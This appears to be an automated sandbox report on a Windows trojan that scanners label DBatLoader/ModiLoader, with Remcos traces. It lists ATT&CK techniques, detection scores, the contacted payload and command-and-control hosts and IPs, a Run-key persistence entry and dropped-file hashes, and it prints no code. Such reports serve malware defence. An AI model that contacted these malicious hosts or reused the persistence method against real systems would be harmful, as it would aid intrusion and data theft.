Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Registry Run Keys / Startup Folder	2 Virtualization/Sandbox Evasion	Cached Domain Credentials	45 System Information Discovery	VNC	GUI Input Capture	113 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Access Token Manipulation	DCSync	331 Security Software Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	322 Process Injection	Proc Filesystem	2 Virtualization/Sandbox Evasion	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	2 Process Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 Application Window Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	Stripped Payloads	Input Capture	1 System Owner/User Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SEPTobn3BR.exe	67%	Virustotal		Browse
SEPTobn3BR.exe	55%	ReversingLabs	Win32.Trojan.ModiLoader
SEPTobn3BR.exe	100%	Avira	HEUR/AGEN.1326052
SEPTobn3BR.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\Public\Libraries\Emxwenem.PIF	100%	Avira	HEUR/AGEN.1326052
C:\Users\Public\Libraries\Emxwenem.PIF	100%	Joe Sandbox ML
C:\Users\Public\Libraries\Emxwenem.PIF	55%	ReversingLabs	Win32.Trojan.ModiLoader

Source	Detection	Scanner	Label
http://www.pmail.com0	0%	Avira URL Cloud	safe
https://www.maan2u.com/docs/233_Emxwenem	0%	Avira URL Cloud	safe
https://www.maan2u.com/docs/233_Emxwenemixg8	0%	Avira URL Cloud	safe
https://www.maan2u.com/docs/233_Emxwenemixg	0%	Avira URL Cloud	safe
https://www.maan2u.com:443/docs/233_Emxwenemixg	0%	Avira URL Cloud	safe
apostlejob2.duckdns.org	0%	Avira URL Cloud	safe
https://www.maan2u.com/docs/233_Emxwenemixg5	0%	Avira URL Cloud	safe
https://www.maan2u.com/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
geoplugin.net	178.237.33.50	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
maan2u.com	103.82.231.117	true	true	unknown
www.maan2u.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://geoplugin.net/json.gp	false		high
https://www.maan2u.com/docs/233_Emxwenemixg	true	Avira URL Cloud: safe	unknown
apostlejob2.duckdns.org	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0	SEPTobn3BR.exe, 00000000.00000003.1403402097.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EBF2000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1441622729.0000000021CD0000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402765851.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1450958581.000000007F192000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1403402097.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1439132054.0000000020A09000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 00000007.00000003.1519315775.0000000000842000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 00000007.00000002.1542737572.0000000020A30000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.1597805485.00000000007BE000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.1597805485.0000000000816000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sectigo.com/CPS0	SEPTobn3BR.exe, 00000000.00000003.1403402097.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EBF2000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1441622729.0000000021CD0000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402765851.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1450958581.000000007F192000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1403402097.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1439132054.0000000020A09000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 00000007.00000003.1519315775.0000000000842000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 00000007.00000002.1542737572.0000000020A30000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.1597805485.00000000007BE000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.1597805485.0000000000816000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	SEPTobn3BR.exe, 00000000.00000003.1403402097.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EBF2000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1441622729.0000000021CD0000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402765851.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1450958581.000000007F192000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1403402097.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1439132054.0000000020A09000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 00000007.00000003.1519315775.0000000000842000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 00000007.00000002.1542737572.0000000020A30000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.1597805485.00000000007BE000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.1597805485.0000000000816000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.sectigo.com0	SEPTobn3BR.exe, 00000000.00000003.1403402097.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EBF2000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1441622729.0000000021CD0000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402765851.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1450958581.000000007F192000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1403402097.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1439132054.0000000020A09000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 00000007.00000003.1519315775.0000000000842000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 00000007.00000002.1542737572.0000000020A30000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.1597805485.00000000007BE000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.1597805485.0000000000816000.00000004.00000020.00020000.00000000.sdmp	false		high
http://geoplugin.net/json.gp/C	SEPTobn3BR.exe, 00000000.00000002.1449264347.000000007E8E0000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmp, colorcpl.exe, 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, colorcpl.exe, 0000000A.00000002.1526920917.0000000002990000.00000040.00000400.00020000.00000000.sdmp, colorcpl.exe, 0000000D.00000002.1606949388.0000000002C00000.00000040.00000400.00020000.00000000.sdmp	false		high
http://geoplugin.net/json.gpl	colorcpl.exe, 00000005.00000002.3812685840.00000000311F5000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 00000005.00000003.2755366865.00000000311F5000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 00000005.00000003.1465318188.00000000311F0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#	SEPTobn3BR.exe, 00000000.00000003.1403402097.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EBF2000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1441622729.0000000021CD0000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402765851.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1450958581.000000007F192000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1403402097.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1439132054.0000000020A09000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 00000007.00000003.1519315775.0000000000842000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 00000007.00000002.1542737572.0000000020A30000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.1597805485.00000000007BE000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.1597805485.0000000000816000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.maan2u.com/docs/233_Emxwenem	SEPTobn3BR.exe, 00000000.00000002.1439132054.0000000020ACD000.00000004.00001000.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://geoplugin.net/json.gp4	colorcpl.exe, 00000005.00000003.1465318188.00000000311F0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	SEPTobn3BR.exe, 00000000.00000003.1403402097.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EBF2000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1441622729.0000000021CD0000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402765851.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1450958581.000000007F192000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1403402097.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1439132054.0000000020A09000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 00000007.00000003.1519315775.0000000000842000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 00000007.00000002.1542737572.0000000020A30000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.1597805485.00000000007BE000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.1597805485.0000000000816000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.maan2u.com/docs/233_Emxwenemixg5	SEPTobn3BR.exe, 00000000.00000002.1420164294.000000000060A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.maan2u.com:443/docs/233_Emxwenemixg	SEPTobn3BR.exe, 00000000.00000002.1420164294.0000000000633000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.maan2u.com/docs/233_Emxwenemixg8	SEPTobn3BR.exe, 00000000.00000002.1420164294.0000000000633000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://geoplugin.net/json.gpSystem32	colorcpl.exe, 00000005.00000002.3812571420.00000000311CA000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.sectigo.com0C	SEPTobn3BR.exe, 00000000.00000003.1403402097.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EBF2000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1441622729.0000000021CD0000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402765851.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1450958581.000000007F192000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1403402097.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1439132054.0000000020A09000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 00000007.00000003.1519315775.0000000000842000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 00000007.00000002.1542737572.0000000020A30000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.1597805485.00000000007BE000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.1597805485.0000000000816000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.maan2u.com/	SEPTobn3BR.exe, 00000000.00000002.1420164294.0000000000628000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://geoplugin.net/json.gp=	colorcpl.exe, 00000005.00000003.2755366865.00000000311F5000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 00000005.00000003.1465318188.00000000311F0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.pmail.com0	SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EBF2000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402765851.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1450958581.000000007F192000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1439132054.0000000020A5A000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 00000007.00000002.1542737572.0000000020A30000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000002.1626895029.0000000020B19000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.174.103.111	unknown	Ukraine	8100	ASN-QUADRANET-GLOBALUS	true
103.82.231.117	maan2u.com	Malaysia	55720	GIGABIT-MYGigabitHostingSdnBhdMY	true
178.237.33.50	geoplugin.net	Netherlands	8455	ATOM86-ASATOM86NL	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1578037
Start date and time:	2024-12-19 07:59:15 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 31s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SEPTobn3BR.exe renamed because original name is a hash value
Original Sample Name:	ccdcd04a0ffde31366754018598eb02f.exe
Detection:	MAL
Classification:	mal100.rans.troj.spyw.evad.winEXE@21/8@2/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 75 Number of non-executed functions: 220
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, backgroundTaskHost.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 20.109.210.53
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, otelrules.azureedge.net, otelrules.afd.azureedge.net, ctldl.windowsupdate.com, azureedge-t-prod.trafficmanager.net, time.windows.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:00:19	API Interceptor	2x Sleep call for process: SEPTobn3BR.exe modified
02:00:38	API Interceptor	4x Sleep call for process: Emxwenem.PIF modified
02:01:02	API Interceptor	6263009x Sleep call for process: colorcpl.exe modified
08:00:29	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Emxwenem C:\Users\Public\Emxwenem.url
08:00:37	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Emxwenem C:\Users\Public\Emxwenem.url

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.174.103.111	greatindiancompaniesgivenbestgiftforyourhealthgivengoodreturns.hta	Get hash	malicious	Cobalt Strike, Remcos, DBatLoader	Browse
103.82.231.117	greatindiancompaniesgivenbestgiftforyourhealthgivengoodreturns.hta	Get hash	malicious	Cobalt Strike, Remcos, DBatLoader	Browse
	1DDHIzYyor.exe	Get hash	malicious	DBatLoader	Browse
	creatednew.hta	Get hash	malicious	Cobalt Strike, DBatLoader, HTMLPhisher	Browse
178.237.33.50	greatindiancompaniesgivenbestgiftforyourhealthgivengoodreturns.hta	Get hash	malicious	Cobalt Strike, Remcos, DBatLoader	Browse	geoplugin.net/json.gp
	RFQ NO 65-58003.exe	Get hash	malicious	Remcos	Browse	geoplugin.net/json.gp
	SwiftCopy_PaymtRecpt121228.exe	Get hash	malicious	Remcos	Browse	geoplugin.net/json.gp
	BBVA S.A..vbs	Get hash	malicious	Remcos	Browse	geoplugin.net/json.gp
	Suzhou Alpine Flow Control Co., Ltd. Financial Audit Questionaire 2024.exe	Get hash	malicious	Remcos, GuLoader	Browse	geoplugin.net/json.gp
	Ref GEC409876 CONSTRUCTION OF MAJLIS PROJECT IN SAADIYAT, ABU DHABI.exe	Get hash	malicious	Remcos, GuLoader	Browse	geoplugin.net/json.gp
	Purchase Order Draft for ATPS Inq Ref240912887-ATPS.exe	Get hash	malicious	Remcos, GuLoader	Browse	geoplugin.net/json.gp
	givenbestupdatedoingformebestthingswithgreatnewsformegive.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse	geoplugin.net/json.gp
	clearentirethingwithbestnoticetheeverythinggooodfrome.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse	geoplugin.net/json.gp
	7Sbq4gMMlp.exe	Get hash	malicious	Remcos	Browse	geoplugin.net/json.gp

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
maan2u.com	K0hpP6V2fo.rtf	Get hash	malicious	DBatLoader, Remcos	Browse	112.137.173.77
	XjPA2pnUhC.exe	Get hash	malicious	Remcos, DBatLoader	Browse	112.137.173.77
	Payment Slip.xls	Get hash	malicious	DBatLoader, Remcos	Browse	112.137.173.77
	EORJy4JxW2.rtf	Get hash	malicious	DBatLoader, Remcos	Browse	112.137.173.77
	ZPujMIT7Vs.exe	Get hash	malicious	Remcos, DBatLoader	Browse	112.137.173.77
s-part-0035.t-0009.t-msedge.net	Brooming.vbs	Get hash	malicious	Remcos, GuLoader	Browse	13.107.246.63
	Gosjeufon.cpl.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	#U0421#U043a#U0430#U043d-#U043a#U043e#U043fi#U044f #U041f#U0430#U0441#U043f#U043e#U0440#U0442.vbs	Get hash	malicious	SmokeLoader	Browse	13.107.246.63
	doc55334.html	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	3DI3mOIlxE.exe	Get hash	malicious	LummaC, Stealc	Browse	13.107.246.63
	s4PymYGgSh.lnk	Get hash	malicious	Unknown	Browse	13.107.246.63
	http://mee6.xyz	Get hash	malicious	Unknown	Browse	13.107.246.63
	http://johnlewisfinance.qa.uinsure.co.uk	Get hash	malicious	Unknown	Browse	13.107.246.63
	Configurator.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	https://shorturl.at/roHta	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
geoplugin.net	greatindiancompaniesgivenbestgiftforyourhealthgivengoodreturns.hta	Get hash	malicious	Cobalt Strike, Remcos, DBatLoader	Browse	178.237.33.50
	RFQ NO 65-58003.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	SwiftCopy_PaymtRecpt121228.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	BBVA S.A..vbs	Get hash	malicious	Remcos	Browse	178.237.33.50
	Suzhou Alpine Flow Control Co., Ltd. Financial Audit Questionaire 2024.exe	Get hash	malicious	Remcos, GuLoader	Browse	178.237.33.50
	Ref GEC409876 CONSTRUCTION OF MAJLIS PROJECT IN SAADIYAT, ABU DHABI.exe	Get hash	malicious	Remcos, GuLoader	Browse	178.237.33.50
	Purchase Order Draft for ATPS Inq Ref240912887-ATPS.exe	Get hash	malicious	Remcos, GuLoader	Browse	178.237.33.50
	givenbestupdatedoingformebestthingswithgreatnewsformegive.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse	178.237.33.50
	clearentirethingwithbestnoticetheeverythinggooodfrome.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse	178.237.33.50
	7Sbq4gMMlp.exe	Get hash	malicious	Remcos	Browse	178.237.33.50

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
GIGABIT-MYGigabitHostingSdnBhdMY	x86_64.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	103.106.249.9
	greatindiancompaniesgivenbestgiftforyourhealthgivengoodreturns.hta	Get hash	malicious	Cobalt Strike, Remcos, DBatLoader	Browse	103.82.231.117
	1DDHIzYyor.exe	Get hash	malicious	DBatLoader	Browse	103.82.231.117
	creatednew.hta	Get hash	malicious	Cobalt Strike, DBatLoader, HTMLPhisher	Browse	103.82.231.117
	x86.elf	Get hash	malicious	Mirai	Browse	103.244.24.127
	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse	103.21.90.22
	dontopenme.html	Get hash	malicious	Unknown	Browse	185.93.164.24
	x86_32.elf	Get hash	malicious	Mirai, Gafgyt	Browse	103.85.108.43
	FPPhfkcDCh.exe	Get hash	malicious	Remcos	Browse	103.144.139.157
	botnet.mips.elf	Get hash	malicious	Mirai, Moobot	Browse	103.229.240.20
ASN-QUADRANET-GLOBALUS	la.bot.sh4.elf	Get hash	malicious	Mirai	Browse	103.68.202.250
	greatindiancompaniesgivenbestgiftforyourhealthgivengoodreturns.hta	Get hash	malicious	Cobalt Strike, Remcos, DBatLoader	Browse	185.174.103.111
	Suzhou Alpine Flow Control Co., Ltd. Financial Audit Questionaire 2024.exe	Get hash	malicious	Remcos, GuLoader	Browse	66.63.187.30
	Ref GEC409876 CONSTRUCTION OF MAJLIS PROJECT IN SAADIYAT, ABU DHABI.exe	Get hash	malicious	Remcos, GuLoader	Browse	66.63.187.30
	Purchase Order Draft for ATPS Inq Ref240912887-ATPS.exe	Get hash	malicious	Remcos, GuLoader	Browse	66.63.187.30
	armv4l.elf	Get hash	malicious	Mirai	Browse	204.44.218.122
	rebirth.arm7.elf	Get hash	malicious	Mirai, Okiru	Browse	104.223.28.126
	jew.arm.elf	Get hash	malicious	Unknown	Browse	72.11.146.73
	2.elf	Get hash	malicious	Unknown	Browse	173.205.82.95
	Josho.arm7.elf	Get hash	malicious	Mirai	Browse	185.228.81.1
ATOM86-ASATOM86NL	greatindiancompaniesgivenbestgiftforyourhealthgivengoodreturns.hta	Get hash	malicious	Cobalt Strike, Remcos, DBatLoader	Browse	178.237.33.50
	RFQ NO 65-58003.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	SwiftCopy_PaymtRecpt121228.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	BBVA S.A..vbs	Get hash	malicious	Remcos	Browse	178.237.33.50
	Suzhou Alpine Flow Control Co., Ltd. Financial Audit Questionaire 2024.exe	Get hash	malicious	Remcos, GuLoader	Browse	178.237.33.50
	Ref GEC409876 CONSTRUCTION OF MAJLIS PROJECT IN SAADIYAT, ABU DHABI.exe	Get hash	malicious	Remcos, GuLoader	Browse	178.237.33.50
	Purchase Order Draft for ATPS Inq Ref240912887-ATPS.exe	Get hash	malicious	Remcos, GuLoader	Browse	178.237.33.50
	givenbestupdatedoingformebestthingswithgreatnewsformegive.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse	178.237.33.50
	clearentirethingwithbestnoticetheeverythinggooodfrome.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse	178.237.33.50
	7Sbq4gMMlp.exe	Get hash	malicious	Remcos	Browse	178.237.33.50

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	Delivery Confirmation Forms - Contact Form TS4047117 pdf.exe	Get hash	malicious	DBatLoader, FormBook	Browse	103.82.231.117
	AWrVzd6XpC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	103.82.231.117
	469oyXQbRY.exe	Get hash	malicious	LummaC	Browse	103.82.231.117
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS	Browse	103.82.231.117
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	103.82.231.117
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	103.82.231.117
	https://d2kjcgrb1q4xt7.cloudfront.net/mULiCoBDj2Ug.exe	Get hash	malicious	Unknown	Browse	103.82.231.117
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	103.82.231.117
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	103.82.231.117
	rK0CtrtVrl.exe	Get hash	malicious	LummaC, Stealc	Browse	103.82.231.117

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\Users\Public\Libraries\Emxwenem.PIF	greatindiancompaniesgivenbestgiftforyourhealthgivengoodreturns.hta	Get hash	malicious	Cobalt Strike, Remcos, DBatLoader	Browse

Created / dropped Files

C:\ProgramData\remcos\logs.dat

Download File

Process:	C:\Windows\SysWOW64\colorcpl.exe
File Type:	data
Category:	dropped
Size (bytes):	288
Entropy (8bit):	3.309628276089514
Encrypted:	false
SSDEEP:	6:6lZHlH85YcIeeDAlOWAAe5q1gWAAe5q1gWAv:6lJFsec0WFe5BWFe5BW+
MD5:	7FE85014D39BEA4C5929540363CECF45
SHA1:	9B038CEBAA11D8FB1C06ECF02EFEFB65BB2074E7
SHA-256:	489D5151E913438BB3A446DEF3309A643845257C77F7B2B9A73A93D39E818822
